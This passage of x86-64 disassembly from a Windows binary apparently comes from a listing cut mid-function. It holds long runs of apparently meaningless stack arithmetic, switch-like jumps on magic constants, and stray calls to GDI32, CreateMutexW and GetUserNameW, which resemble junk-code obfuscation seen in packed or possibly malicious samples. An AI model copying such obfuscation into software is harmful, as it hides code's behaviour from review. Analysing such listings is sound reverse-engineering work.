mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc68], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
add eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x3b78]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x3ac0]
call qword [sym.imp.GDI32.dll_GetTextAlign]
mov dword [rsp + 0x1f7c], eax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x99], al
jmp 0x140021134
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3c90], rax
mov eax, dword [rsp + 0x1f90]
mov dword [rsp + 0x1fe4], eax
movsx eax, byte [rsp + 0x1ab]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x99]
and ecx, edx
cmp eax, ecx
jg 0x14002106c
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1f68]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3bb8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x1fa0]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140020fb9
mov rax, qword [rsp + 0x3bc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2fa8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc68], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
and eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x2ac8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc60], ax
jmp 0x140021067
movsx eax, word [0x14018bdc4]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xc64]
and ecx, edx
cmp eax, ecx
jl 0x140021017
lea rax, [0x14018acda]
mov qword [0x14018bdd0], rax
mov rax, qword [rsp + 0x3bb8]
mov eax, dword [rax]
mov dword [rsp + 0x1fd0], eax
lea rax, [rsp + 0x2fa8]
mov qword [rsp + 0x3c98], rax
jmp 0x140021067
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
sar eax, cl
movzx ecx, word [0x14018bdc8]
cmp eax, ecx
jge 0x140021067
mov eax, dword [rsp + 0x1f90]
mov rcx, qword [rsp + 0x3b80]
mov qword [rsp + 0x3ca0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3ca0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
jmp 0x140021134
mov eax, dword [rsp + 0x1fd0]
movzx ecx, al
mov eax, dword [rsp + 0x1fa0]
sar eax, cl
mov rcx, qword [rsp + 0x3a40]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x1f68]
or edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x1400210d6
movsx eax, byte [rsp + 0x1ab]
movsx ecx, byte [rsp + 0x99]
xor eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
mov rax, qword [rsp + 0x3b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc5c], ax
jmp 0x140021134
movzx eax, byte [0x14018acda]
cmp eax, 0x5c
jl 0x140021104
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
shl eax, cl
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
jmp 0x140021134
movzx eax, byte [0x14018acda]
shl eax, 0x2f
cmp eax, 0x5e
jge 0x140021134
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ac8], rax
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ac8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
mov dword [rsp + 0x1fe8], eax
cmp dword [rsp + 0x1fe8], 0x764
jg 0x1400211ca
cmp dword [rsp + 0x1fe8], 0x764
je 0x1400216f0
cmp dword [rsp + 0x1fe8], 0
je 0x140021293
cmp dword [rsp + 0x1fe8], 0x20f
je 0x140021493
cmp dword [rsp + 0x1fe8], 0x4b4
je 0x140021202
cmp dword [rsp + 0x1fe8], 0x6f9
je 0x1400213fa
jmp 0x1400218f0
cmp dword [rsp + 0x1fe8], 0x798
je 0x1400217cb
cmp dword [rsp + 0x1fe8], 0xa1a
je 0x1400215b7
cmp dword [rsp + 0x1fe8], 0xf7a
je 0x14002181e
jmp 0x1400218f0
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [0x14018acda]
sub eax, ecx
mov rcx, qword [0x14018bdd0]
mov byte [rcx], al
movzx eax, word [rsp + 0xc60]
movzx ecx, word [0x14018bdc8]
and eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3c98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3bc0]
mov qword [rsp + 0x3ca8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3ca8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
mov rdx, qword [rsp + 0x3cb0]
mov rcx, qword [rsp + 0x3cb8]
call qword [sym.imp.GDI32.dll_GetMetaRgn]
mov dword [rsp + 0x1f68], eax
jmp 0x1400218f0
movzx eax, byte [rsp + 0x99]
mov byte [rsp + 0x1ac], al
mov eax, dword [rsp + 0x1fe4]
mov ecx, dword [rsp + 0x1f7c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1c58], eax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2f10], rax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
sub eax, ecx
movsx ecx, word [rsp + 0xc58]
movsx edx, word [rsp + 0xc68]
and ecx, edx
cmp eax, ecx
jne 0x1400213b0
mov rax, qword [rsp + 0x3b00]
movzx eax, word [rax]
mov word [rsp + 0xc6c], ax
lea rax, [rsp + 0xc60]
mov qword [rsp + 0x3cc0], rax
mov rax, qword [rsp + 0x3bb8]
mov eax, dword [rax]
mov dword [rsp + 0x1fa0], eax
lea rax, [rsp + 0xc5c]
mov qword [0x14018bdd8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x3cc8], rax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [0x14018acda]
or eax, ecx
mov byte [rsp + 0xe7], al
lea rax, [rsp + 0x2ac8]
mov qword [rsp + 0x3cd0], rax
mov rax, qword [rsp + 0x3bc0]
mov rcx, qword [rsp + 0x3b88]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3c98]
mov qword [rcx], rax
jmp 0x1400213f5
mov rax, qword [rsp + 0x2f10]
mov rcx, qword [rsp + 0x2ac8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x34f8]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
je 0x1400213f5
mov rax, qword [rsp + 0x3b80]
mov eax, dword [rax]
mov dword [rsp + 0x1fd8], eax
jmp 0x1400218f0
mov rax, qword [rsp + 0x3c40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x99], al
movsx eax, word [rsp + 0xc6c]
movsx ecx, word [rsp + 0xc64]
add eax, ecx
mov rcx, qword [rsp + 0x3b70]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [0x14018bdc8]
sub eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x3b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2f10], rax
movsx eax, word [rsp + 0xc68]
movsx ecx, word [0x14018bdc4]
and eax, ecx
mov rcx, qword [0x14018bdd8]
mov word [rcx], ax
jmp 0x1400218f0
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc68]
sar eax, cl
mov rcx, qword [rsp + 0x3b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x3b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2ac8], rax
movsx eax, byte [rsp + 0x1ac]
movsx ecx, byte [rsp + 0x99]
add eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
mov rax, qword [rsp + 0x3c98]
mov rcx, qword [rsp + 0x3bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3c98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3bd8]
mov eax, dword [rax]
mov dword [rsp + 0x1fd8], eax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
and eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b78]
mov qword [rsp + 0x3cd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3cd8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1fd0]
mov ecx, dword [rsp + 0x1fc0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f68], eax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
xor eax, ecx
mov rcx, qword [0x14018bdd0]
mov byte [rcx], al
jmp 0x1400218f0
mov rax, qword [rsp + 0x3b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
lea rdx, [rsp + 0x3a70]
mov rcx, qword [rsp + 0x3c00]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rsp + 0x1f60], eax
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b80]
mov ecx, dword [rsp + 0x1f7c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1ab]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x99], al
mov rax, qword [rsp + 0x3c98]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3bc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [0x14018bdd8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3b70]
mov word [rcx], ax
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3cd0]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14018bdd8]
mov word [rcx], ax
jmp 0x1400218f0
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x3b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x99]
sar eax, cl
mov byte [rsp + 0x1ac], al
mov rax, qword [rsp + 0x3b28]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3bd8]
mov ecx, dword [rsp + 0x1f7c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x3ce0]
call qword [sym.imp.GDI32.dll_GetLayout]
mov dword [rsp + 0x1f7c], eax
jmp 0x1400218f0
mov eax, dword [rsp + 0x1fa0]
mov dword [rsp + 0x1fc0], eax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc6c], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
and eax, ecx
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
jmp 0x1400218f0
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
and eax, ecx
mov rcx, qword [0x14018bdd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b60]
mov qword [rsp + 0x3ce8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3ce8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x3a38]
mov rcx, qword [rsp + 0x3b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3bc0]
mov rcx, qword [rsp + 0x3b88]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2fa8], rax
movsx eax, word [0x14018bdc4]
movsx ecx, word [rsp + 0xc5c]
shl eax, cl
mov rcx, qword [rsp + 0x3b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x2ac8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x2f10]
mov rdx, qword [rsp + 0x34f8]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
jle 0x140021a60
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
sub eax, ecx
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2f10]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ac8], rax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
add eax, ecx
mov rcx, qword [0x14018bdd0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2f10]
sar rax, cl
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x3c40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
mov rax, qword [rsp + 0x3b80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1f7c]
shl eax, cl
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x3b48]
call qword [sym.imp.GDI32.dll_CancelDC]
mov dword [rsp + 0x1fdc], eax
mov rax, qword [rsp + 0x3bb8]
mov ecx, dword [rsp + 0x1fa0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1f8c], eax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
jmp 0x140021db7
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0xc60]
mov dword [rsp + 0x1fec], ecx
movzx edx, word [0x14018bdc8]
movzx ecx, dl
mov edx, dword [rsp + 0x1fec]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x140021db7
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x3bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
lea rax, [rsp + 0xc6c]
mov qword [rsp + 0x3cf0], rax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [0x14018acd9]
and eax, ecx
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
mov dword [rsp + 0x1ff0], ecx
movsx edx, byte [rsp + 0x1ab]
movzx ecx, dl
mov edx, dword [rsp + 0x1ff0]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x140021ccc
mov rax, qword [0x14018bdd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc64]
add eax, ecx
mov word [rsp + 0xc5c], ax
mov rax, qword [rsp + 0x3b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018bdd8]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3c40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ac]
or eax, ecx
mov byte [rsp + 0x99], al
mov eax, dword [rsp + 0x1c58]
movzx ecx, al
mov eax, dword [rsp + 0x1f90]
shl eax, cl
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x3bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3cf0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc68], ax
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3cd0]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2ac8], rax
mov rax, qword [rsp + 0x34f8]
mov rcx, qword [rsp + 0x3cd0]
mov qword [rsp + 0x3cf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3cf8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe7]
and eax, ecx
mov rcx, qword [0x14018bdd0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x3b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3cd0]
mov qword [rcx], rax
mov edx, 0xc9
mov rcx, qword [rsp + 0x3ac0]
call qword [sym.imp.GDI32.dll_SetDCPenColor]
mov dword [rsp + 0x1c58], eax
jmp 0x140021db7
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [0x14018acda]
imul eax, ecx
movzx ecx, byte [rsp + 0xe7]
cmp eax, ecx
je 0x140021d0d
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [0x14018bdc8]
sub eax, ecx
mov word [rsp + 0xc60], ax
jmp 0x140021db7
mov rax, qword [rsp + 0x3c98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2fa8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3bc0]
mov rdx, qword [rsp + 0x3b88]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jae 0x140021d60
mov rax, qword [rsp + 0x3bb8]
mov ecx, dword [rsp + 0x1fd0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1f68], eax
jmp 0x140021db7
mov rax, qword [rsp + 0x3c98]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3bc0]
mov rdx, qword [rsp + 0x3b88]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jae 0x140021db7
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x2fa8]
mov qword [rsp + 0x3d00], rax
cmp qword [rsp + 0x3d00], 0
je 0x140021e37
movabs rax, 0x73bd1cc1bf93ca
cmp qword [rsp + 0x3d00], rax
je 0x140021fb3
movabs rax, 0x76a9b33b0ac1da
cmp qword [rsp + 0x3d00], rax
je 0x140022110
movabs rax, 0x7722f445ab20c8
cmp qword [rsp + 0x3d00], rax
je 0x140022016
movabs rax, 0x7eea3a48d3f725
cmp qword [rsp + 0x3d00], rax
je 0x140022225
jmp 0x140022299
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1f7c]
shl eax, cl
mov dword [rsp + 0x1fe4], eax
mov rax, qword [rsp + 0x3b88]
mov rax, qword [rax]
mov qword [rsp + 0x3d08], rax
movzx eax, byte [rsp + 0x99]
mov byte [rsp + 0x1ad], al
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3cc0]
movzx ecx, word [rcx]
or eax, ecx
movzx ecx, word [rsp + 0xc60]
movzx edx, word [0x14018bdc8]
xor ecx, edx
cmp eax, ecx
je 0x140021f62
movsx eax, word [rsp + 0xc58]
movsx ecx, word [rsp + 0xc6c]
sub eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
movsx eax, word [rsp + 0xc64]
mov rcx, qword [0x14018bdd8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14018bdc4], ax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x2f10]
mov rcx, qword [rsp + 0x34f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3c98]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3d08], rax
mov rax, qword [rsp + 0x3c40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
jmp 0x140021fae
movsx eax, word [rsp + 0xc6c]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xc68]
sub ecx, edx
cmp eax, ecx
jge 0x140021fae
mov rax, qword [rsp + 0x3b80]
mov eax, dword [rax]
mov ecx, dword [0x14018bdc0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
jmp 0x140022406
mov rax, qword [rsp + 0x3b00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc68]
shl eax, cl
mov word [rsp + 0xc5c], ax
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
or eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
jmp 0x140022406
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14018bdc8], ax
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f8c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
lea r9, [rsp + 0x3a40]
mov r8d, 0x13
mov edx, 0xc1
mov rcx, qword [rsp + 0x3d10]
call qword [sym.imp.GDI32.dll_GetPaletteEntries]
mov dword [rsp + 0x1ff4], eax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f7c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fe4], eax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3d08]
mov rcx, qword [rsp + 0x3c98]
mov qword [rsp + 0x3d18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3d18]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2fa8], rax
jmp 0x140022406
mov rax, qword [rsp + 0x3cf0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
add eax, ecx
mov rcx, qword [rsp + 0x3b70]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
movzx ecx, word [0x14018bdc8]
and eax, ecx
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3cd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x34f8], rax
movzx eax, byte [rsp + 0xe7]
movzx ecx, byte [0x14018acda]
shl eax, cl
mov rcx, qword [0x14018bdd0]
mov byte [rcx], al
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3cf0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc60], ax
movsx eax, byte [rsp + 0x99]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a68]
mov ecx, dword [rsp + 0x1f7c]
mov eax, dword [rax]
add eax, ecx
